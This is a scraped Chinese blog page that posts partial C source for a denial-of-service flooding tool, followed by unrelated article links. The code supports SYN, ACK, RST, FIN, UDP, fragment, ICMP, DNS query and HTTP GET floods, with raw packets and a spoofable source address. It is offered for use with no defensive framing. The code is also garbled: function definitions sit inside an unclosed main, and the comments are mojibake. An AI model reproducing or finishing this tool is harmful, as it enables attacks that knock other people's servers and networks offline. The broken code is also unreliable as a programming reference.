attack source code
不废话,直接上代码,
先看截图use pictures;
2.source code
部分主要代码
void help_length(void)
{
printf("\n This is not the correct format about option \" -l \".\n"
" format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
exit (1);
}
static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);
unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp (int sockfd,struct sockaddr_in *addr);
void send_icmp (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();
void sig_int (int sigo);
//static void *pthread_func(void *vptr_args);
fd_set rset,drset;
struct protocol_fake_header {
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short header_len;
};
struct icmphdr {
char type;
char code;
unsigned short checksum;
unsigned short id;
unsigned short seq;
};
struct dnshdr_prefix {
unsigned short id; /* random() */
unsigned short flags; /* 0x0100 */
unsigned short questions; /* 0x0001 */
unsigned short answers; /* 0x0000 */
unsigned short author; /* 0x0000 */
unsigned short addition; /* 0x0000 */
};
struct dnshdr_suffix {
unsigned short int type; /* 0x0001 */
unsigned short int class; /* 0x0001 */
};
int i = 0;
int a = 0;
int port;
int count=0;
int nw;
int n=0;
int gsockfd[MAX_SOCKFD];
unsigned int send_get_number=0;
unsigned short hostname_len;
unsigned short iph_len;
unsigned short tcph_len;
unsigned short udph_len;
unsigned short icmph_len;
unsigned short dnsh_prefix_len;
unsigned short dnsh_center_len;
unsigned short dnsh_len;
unsigned short data_len=0;
unsigned short pkg_len; /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */
unsigned long packet_delay=0;
char number ;
char * QueryBuf;
unsigned len_a=0,len_b;
char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
char * p_str; /* used by Fun build_dns_querybuf */
char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
char p_str_center[256];
unsigned dn_suffix_tnum=6;
unsigned short dn_suffix_num;
char dn_suffix_len;
unsigned long sum=0;
unsigned long int send_count=0;
char PRINT_MODE[20]="SYN Flood"; /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
char *pbuf;
char datasize[60];
char *pds; /* used by datasize */
unsigned short int data_size_max=0;
unsigned short int data_size_min=0;
unsigned short int tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
unsigned short int tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
unsigned short int udp_data_size_max;
unsigned short int udp_data_size_min;
unsigned short int icmp_data_size_max=ICMP_DATA_SIZE_MAX;
unsigned short int icmp_data_size_min=ICMP_DATA_SIZE_MIN;
int sockfd;
int dn;
int i,ii;
int _proto_char_len;
char proto_data[1460]="rand";
char buffer[1501]; /* store data from gsockfd[i] (server ) */
char buf[20];
int buf_len;
char ipdata[20];
char srcip[20];
char domainname[50];
char hostname[50];
char hostport[8];
char uri[1024]=URI;
char mode[8]=MODE;
char http_head_get[1024]=HTTP_HEAD_GET;
struct sockaddr_in to;
struct hostent *host;
struct timeval tv,pdelay;
struct timeval pstart,pend;
unsigned long int pdelay_sec=0,pdelay_usec=0;
float timeuse;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr_prefix *dnsh_prefix;
struct dnshdr_suffix *dnsh_suffix;
/* ============= Main Function ========= */
int main(int argc,char **argv)
{
if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
help();
int on=1;
bzero(ipdata,20);
bzero(srcip,20);
bzero(&to,sizeof(to));
int cn;
while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
{
switch(cn)
{
case 'm':
strcpy(mode,optarg);
if(strcmp((mode),"syn")==0) {
strcpy(PRINT_MODE,"SYN Flood");
break;
}
if(strcmp((mode),"asyn")==0) {
strcpy(PRINT_MODE,"SYN+ACK Flood");
break;
}
if(strcmp((mode),"dsyn")==0) {
strcpy(PRINT_MODE,"SYN+data Flood");
break;
}
if(strcmp((mode),"dns")==0) {
strcpy(PRINT_MODE,"DNS Query Flood");
break;
}
if(strcmp((mode),"udp")==0) {
strcpy(PRINT_MODE,"UDP Flood");
break;
}
if(strcmp((mode),"icmp")==0) {
strcpy(PRINT_MODE,"ICMP ECHO Flood");
break;
}
if(strcmp((mode),"ufrag")==0) {
strcpy(PRINT_MODE,"UDP Frag Flood");
break;
}
if(strcmp((mode),"ack")==0) {
strcpy(PRINT_MODE,"TCP ACK Flood");
break;
}
if(strcmp((mode),"pack")==0) {
strcpy(PRINT_MODE,"TCP PSH ACK Flood");
break;
}
if(strcmp((mode),"rack")==0) {
strcpy(PRINT_MODE,"TCP RST ACK Flood");
break;
}
if(strcmp((mode),"fack")==0) {
strcpy(PRINT_MODE,"TCP FIN ACK Flood");
break;
}
if(strcmp((mode),"gack")==0) {
strcpy(PRINT_MODE,"HTTP GET ACK Flood");
break;
}
if(strcmp((mode),"gfld")==0) {
strcpy(PRINT_MODE,"HTTP GET Flood");
break;
}
if(strcmp((mode),"synclink")==0) {
strcpy(PRINT_MODE,"Sync Link test");
break;
}
else
help();
break;
case 'h':
strcpy(hostname,optarg);
hostname_len=strlen(hostname);
if(isdigit(hostname[hostname_len-1])) {
to.sin_addr.s_addr=inet_addr(hostname);
strcpy(ipdata,hostname);
}
else if((host=gethostbyname(hostname))==NULL) {
printf(" resolv ip failed.\n");
exit(1);
}
else {
inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
to.sin_addr.s_addr=inet_addr(ipdata);
}
break;
case 'p':
strcpy(hostport,optarg);
break;
case 'S':
strcpy(srcip,optarg);
break;
case 'c':
send_count=atoi(optarg);
break;
case 'u':
strcpy(uri,optarg);
break;
case 's':
strncpy(proto_data,optarg,strlen(optarg));
break;
case 'd':
strcpy(buf,optarg);
buf_len=strlen(buf);
if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
buf[buf_len-2]=0;
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else if(buf[buf_len-1]=='s') {
buf[buf_len-1]=0;
pdelay_sec=atoi(buf);
pdelay_usec=0;
}
else if(isdigit(buf[buf_len-1])) {
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else {printf(" enter time error.\n");exit(1);}
break;
case 'l':
strcpy(datasize,optarg);
if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
if( datasize[0]==':' ) { /* :20 */
pds=strtok(datasize,":");
if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
else help_length();
}
else if( datasize[strlen(datasize)-1] == ':' ) { /* 4: */
pds=strtok(datasize,":");
if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
else help_length();
}
else { /* 5:9 */
pds=strtok(datasize,":");
if(pds != NULL) data_size_min=atoi(pds);
pds=strtok(NULL,":");
if(pds != NULL) data_size_max=atoi(pds);
}
else {
}
if( data_size_max == 0) data_size_max=data_size_min;
if( data_size_max<data_size_min)
{
printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
exit (1);
}
if( data_size_max>1460)
{
printf(" data_size_max is 1460 !\n");
exit (1);
}
break;
default:
help();
break;
}
}
if (data_size_min == 0 && data_size_max == 0)
{
data_size_min=DATA_SIZE_MIN;
data_size_max=DATA_SIZE_MAX;
}
// printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/
char * get_rand_dn (char *___str_str,int str_len)
{
int len=strlen(_domain_name_char);
for (ii=0;ii<str_len;ii++){
___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
}
// printf (" over for \n");
return ___str_str;
}
void send_packets_delay( )
{
pdelay.tv_sec=pdelay_sec;
pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif
FD_ZERO(&drset);
FD_SET(sockfd,&drset);
select(sockfd+1,NULL,NULL,NULL,&pdelay);
}
/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
printf(" enter pthread[]\n");
int sockfd;
fd_set rset;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
printf(" create sockfd error from pthread_fun.\n");
pthread_exit("Thank you for the CPU time");
}
a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
if(a==0)
{
write(sockfd,http_head_get,strlen(http_head_get));
printf(" send get request to server .\n");
select
tv.tv_sec=0;
tv.tv_usec=5;
FD_ZERO(&rset);
FD_SET(sockfd,&rset);
select(sockfd+1,&rset,NULL,NULL,&tv);
while (1)
{
nw++;
if(FD_ISSET(sockfd,&rset)) {
printf(" enter while\n");
n=read(sockfd,buffer,1500);
printf(" read data ....");
if(n==0) {
printf(" Accept fin and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
if(n<0) {
printf(" Accept rst and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
else
printf("read data\n");
*/
// } /* end of if(FD_ */
/* else
printf(" not can be read \n");
} */ /* end of while */
// } /* end of if(a==0) */
/* else
{
printf(" connect_status:%d errno=%d close_sockfd[]\n\n",a,errno);
close(sockfd);
}
send_get_number++;
return 0;
}
*/
/* =============== check sum function =============== */
static unsigned short inline checksum(unsigned short *buffer,int size){
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);
buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);
pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;
if(strcmp(proto,"tcp")==0) {
pfh->proto = IPPROTO_TCP;
pfh->header_len = htons(tcph_len);
}
if(strcmp(proto,"udp")==0) {
pfh->proto = IPPROTO_UDP;
pfh->header_len = htons(udph_len);
}
sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}
attack source code的更多相关文章
- Source Code Review
1.berfore we talking abnout the Source Code review,here's what we want to know about the most popula ...
- Tips for newbie to read source code
This post is first posted on my WeChat public account: GeekArtT Reading source code is always one bi ...
- 编程等宽字体Source Code Pro(转)
Source Code Pro - 最佳的免费编程字体之一!来自 Adobe 公司的开源等宽字体下载 每一位程序员都有一套自己喜爱的代码编辑器与编程字体,譬如我们之前就推荐过一款"神 ...
- How to build the Robotics Library from source code on Windows
The Robotics Library is an open source C++ library for robot kinematics, motion planning and control ...
- How to build windows azure PowerShell Source Code
Download any version source code of Windows Azure Powershell from https://github.com/Azure/azure-sdk ...
- akka cluster sharding source code 学习 (1/5) 替身模式
为了使一个项目支持集群,自己学习使用了 akka cluster 并在项目中实施了,从此,生活就变得有些痛苦.再配上 apache 做反向代理和负载均衡,debug 起来不要太酸爽.直到现在,我还对 ...
- view class source code with JAD plugin in Eclipse
The default class viewer doesn't decompile the class file so you cannot open and check the source co ...
- Classic Source Code Collected
收藏一些经典的源码,持续更新!!! 1.深度学习框架(Deep Learning Framework). A:Caffe (Convolutional Architecture for Fast Fe ...
- Attach source code to a Netbeans Library Wrapper Module
http://rubenlaguna.com/wp/2008/02/22/attach-source-code-to-a-netbeans-library-wrapper-module/ Attach ...
随机推荐
- ajax请求成功回调函数没有执行问题
如下常见的ajax前端请求,请求成功后success:function(result){ 这里的数据没有执行 }: $.ajax({ type:"post", url:" ...
- ElasticSearch(九):springboot项目集成消息中间件activeMQ
目的:为了将elasticsearch做成单独的服务,那么我们必须解耦,也就是业务逻辑和搜索模块是没有关系的,并且是异步的.那么项目之间通信,使用的选择有限,消息中间件是一个不错的选择. 消息中间件常 ...
- 剑指offer-特定二维数组中查找一个元素是否存在-二分搜索-二维数组
int [][] array ={ {1,2,8,9}, {2,4,9,12}, {4,7,10,13}, {6,8,11,19} }; 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都 ...
- stenciljs 学习六 组件开发样式指南
组件不是动作,最好使用名词而不是动词, 文件结构 每个文件一个组件. 每个目录一个组件.虽然将类似的组件分组到同一目录中可能是有意义的,但我们发现当每个组件都有自己的目录时,更容易记录组件. 实现(. ...
- Oracle 存储过程了解
简要记录存储过程语法与Java程序的调用方式 一 存储过程 首先,我们建立一个简单的表进行存储过程的测试 createtable xuesheng(id integer, xing_ming varc ...
- XDomainRequest object
The XDomainRequest object has these types of members: Events Methods Properties Events The XDomainRe ...
- bat根据星期启动程序
原来公司里的由于每次开机时启动的程序比较多,所以打算使用批处理程序,这里只列举了部分.在每周一到周五的时候,开机则启动指定的应用程序,如果是周末的两天则不启动任何程序,所以做了这个脚本.你如果需要,根 ...
- 理解js事件循环(event loop)
队列:先进先出 栈:后进先出 javascript的Event Loop 和 Node.js的Event Loop 区别: js(运行在浏览器),有主线程.异步任务队列的概念: node.js使用li ...
- ES6之6种遍历对象属性的方法
ES6之6种遍历对象属性的方法 for ... in 循环遍历对象自身的和继承的可枚举属性(不含Symbol属性). Obejct.keys(obj),返回一个数组,包括对象自身的(不含继承的)所有可 ...
- Angular 4 路由守卫
路由守卫 只有当用户已经登录并拥有某些权限时才能进入某些路由 一个有多个表单组成的向导,如注册流程,用户只有在当前组件的组件中填写了满足要求的信息才可以导航到下一个路由 当用户未执行保存操作而试图离开 ...